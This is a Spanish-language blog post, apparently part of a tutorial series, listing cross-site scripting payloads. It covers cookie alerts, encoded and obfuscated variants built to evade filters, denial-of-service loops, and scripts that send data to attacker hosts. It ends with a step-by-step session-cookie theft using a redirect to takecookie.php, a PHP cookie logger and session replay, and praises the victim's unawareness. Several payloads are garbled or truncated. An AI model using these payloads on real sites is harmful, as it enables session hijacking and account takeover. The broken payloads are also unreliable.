Una vez comprendidos los conceptos indicados en la entrada anterior (ver aquí) se procede a indicar casos prácticos de como un ataque XSS puede ser llevado a cabo sobre una aplicación web vulnerable. Para realizar algunas pruebas sobre XSS, es necesario en primer lugar tener una aplicación web vulnerable, para esto es necesario seguir la entrada anterior correspondiente a entornos de pruebas en (ver aquí)

Scripts Ejemplo:
Estos son algunos de los ejemplos de Scripts que pueden ser empleados para llevar a cabo un ataque XSS exitoso, este tipo de scripts son validos para cualquiera de las técnicas de XSS explicadas en párrafos anteriores, en realidad, cualquier ataque XSS siempre intentará en primera instancia de aprovechar alguna vulnerabilidad por medio de simples pruebas como las siguientes en campos habilitados para entradas de usuario, sin embargo, estos son solamente una pequeña “colección”, el limite se encuentra en la imaginación y las habilidades del atacante, del mismo modo hay que ser creativos a la hora de inyectar cualquier script, estos pueden ser inyectados en campos de entrada como ya se ha dicho, sin embargo algunos pueden ser directamente ingresados en la ruta del navegador. El cielo es el limite.

Tip: Se puede usar el servicio http://tinyurl.com/ para convertir cadenas de url muy largas a fragmentos cortos. Por otro lado también ayuda conocer las equivalencias de caracteres ASCII consultar: http://www.ascii.cl/es/ Para convertir de JavaScript a ASCII, Hexadecimal, decimal o binario, consultar: http://xss.9f.com/ los siguientes scripts son bastante sencillos para cualquier persona que disponga de unos conocimientos mínimos en JavaScript, por esta razón no se realiza una explicación muy detallada de cada uno, por otro lado algunos han sido tomados de ejemplo de sitios como http://ha.ckers.org/xss.html

  1. Alert Cookie, script plano:

    ><script>alert(document.cookie); </script>

  2. Alert Cookie, script Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3
  3. Alert Cookie, script plano cerrando etiqueta HTML:
    ><script>alert(document.cookie); </script>
  4. Alert Cookie, script cerrando etiqueta HTML Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E
  5. Alert Cookie, script plano concatenando parámetros GET a la petición:
<script>alert(document.cookie)<script>&param=value
  1. Alert Cookie, script concatenando parámetros GET a la petición Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E%26param%3Dvalue
  1.  Alert con texto e Inyectando un Frame en la pagina vulnerable:
    http://a;
  2. Denegación de Servicio por medio de una vulnerabilidad XSS:
<script>for(;;) alert(«bucle»);</script>
  1. Denegación de Servicio obligando a las victimas conectarse repetidamente:
<meta%20http-equiv=»refresh»%20content=»0;»>
  1. Ejecutar peticiones a otros sitios desde la vulnerabilidad XSS
    <script src='<HOST_ATACANTE/redirect.js’ />
    Donde redirect.js contiene:
    <script>
    var post_data = ‘name=value’;
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open(«POST», ‘http://www.atacante.com&#8217;, true);
    xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
    alert(xmlhttp.responseText);
    }
    };
    xmlhttp.send(post_data);
    </script>
  2. Inyectando código JavaScript en un objeto IMG de HTML
    <img src=foo.png onerror=alert(/XSS/) />
  3. Inyectando código JavaScript en un objeto IMG de HTML
    javascript:img=new Image();img.src="http://attacker/wtf.php?cookie="+document.cookie;
  4. Inyectando código JavaScript en un objeto IMG de HTML Caracteres ASCII
    <img src=foo.png onerror=%61%6c%65%72%74%28%2f%53%43%47%30%39%2f%29/>
  5. Codificando la salida JavaScript para evitar filtros
    <script>String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) </script>
  6. Inyección codificada utilizando la función “unescape” de JavaScript
    Código origina:
    ><script>alert(document.cookie);</script>Codificación:
    %93%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d %65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%3c%2f%73%63%72%69%70%74%3e
  7. Inyección de etiqueta A de HTML utilizando protocolo DATA
    <a href=»data:text/html;charset=utf-8,%3cscript%3ealert(1);history.back();%3c/script%3e «>ClickMe!</a>
  8. Inyección de Iframe utilizando el protocolo DATA
  9. Indicador para verificar si una aplicación es vulnerable a XSS
    »;!–«<XSS>=&{()}
  10. Inyectando objeto IMG de HTML código JavaScript codificado
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  11. Inyectando objeto BODY de HTML con código JavaScript.
    <BODY onload=alert(«XSS»)>
  12. Inyectando estilos en una aplicación web vulnerable
    <STYLE>@import ‘IP_ATACANTE/xss.css’;</STYLE>
    <META HTTP-EQUIV=»Link» Content=»<IP_ATACANTE/xss.css>; REL=stylesheet»
  13. Inyección de Código ofuscado usando document.write
    ‘><script src=»http://server-attacker.com/xss.js» />’><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 115, 101, 114, 118, 101, 114, 45, 97, 116, 116, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 120, 115, 115, 46, 106, 115, 34, 32, 47, 62));</script>
  14. Ejemplo practico: Robo de Cookies de sesión mediante ataque XSS
    1. El atacante ha conseguido explotar una vulnerabilidad XSS en una aplicación objetivo especificando en dicho script que se debe direccionar la petición a una pagina controlada por el atacante, esto puede ser hecho por medio de DOM, con la propiedad location del objeto document, por ejemplo:
    <script>document.location=»http://IP_ATACANTE/takecookie.php?cookie=» + document.cookie;history.back(); </script>
    Con este sencillo script se direccioná la petición hacia el servidor controlado por el atacante donde se capturan las cookies del usuario y posteriormente vuelve a la petición original (todo ocurre sin que el usuario se entere, que evidentemente es lo mejor de todo). Frecuentemente esto sera un simple Link que se enviá a un usuario por correo electrónico u otro medio, para que de esta forma, lo llegue a activar.2. En el servidor del atacante, existe un script similar al siguiente:
    <?php$fichero=fopen(«cookies.txt»,»a»);fputs($fichero,»\n».$_GET[«cookie»].»\n»);fclose($fichero);?>
    Con esto se escriben las cookies en un fichero que el atacante puede utilizar.3.Posteriormente, el atacante accede a la aplicación web que corresponda a determinada cookie, posiblemente, dicha aplicación solicitara algún tipo de autenticación, en este punto, el atacante toma las cookies capturadas del usuario anterior y posteriormente las carga en su navegador Web, en navegadores como Chrome y Firefox existen extensiones y add-ons que permiten hacer esto, como es el caso de “Edit Cookie” en Chrome. Si el usuario aun mantiene activa la sesión en la aplicación, los mecanismos de autenticación de dicha aplicación web, serán pasados por alto, dado que la aplicación confiá en al cookie que encuentra en el navegador y asume que corresponde a una sesión activa.

Se han indicando solamente unos cuantos scripts, sin embargo, las habilidades del atacante y sus conocimientos en desarrollo de aplicaciones web, juegan en este punto un papel importante, dado que entre mas experiencia y conceptos teóricos y prácticos domine, mejores serán los scripts que desarrolle y las posibilidades de explotar vulnerabilidades XSS.

Tip: Se encontraran excelentes scripts y recursos sobre XSS en: http://ha.ckers.org/xss.html

En la próxima entrada se explicara en detalle el uso de herramientas para automatizar ataques XSS contra aplicaciones web.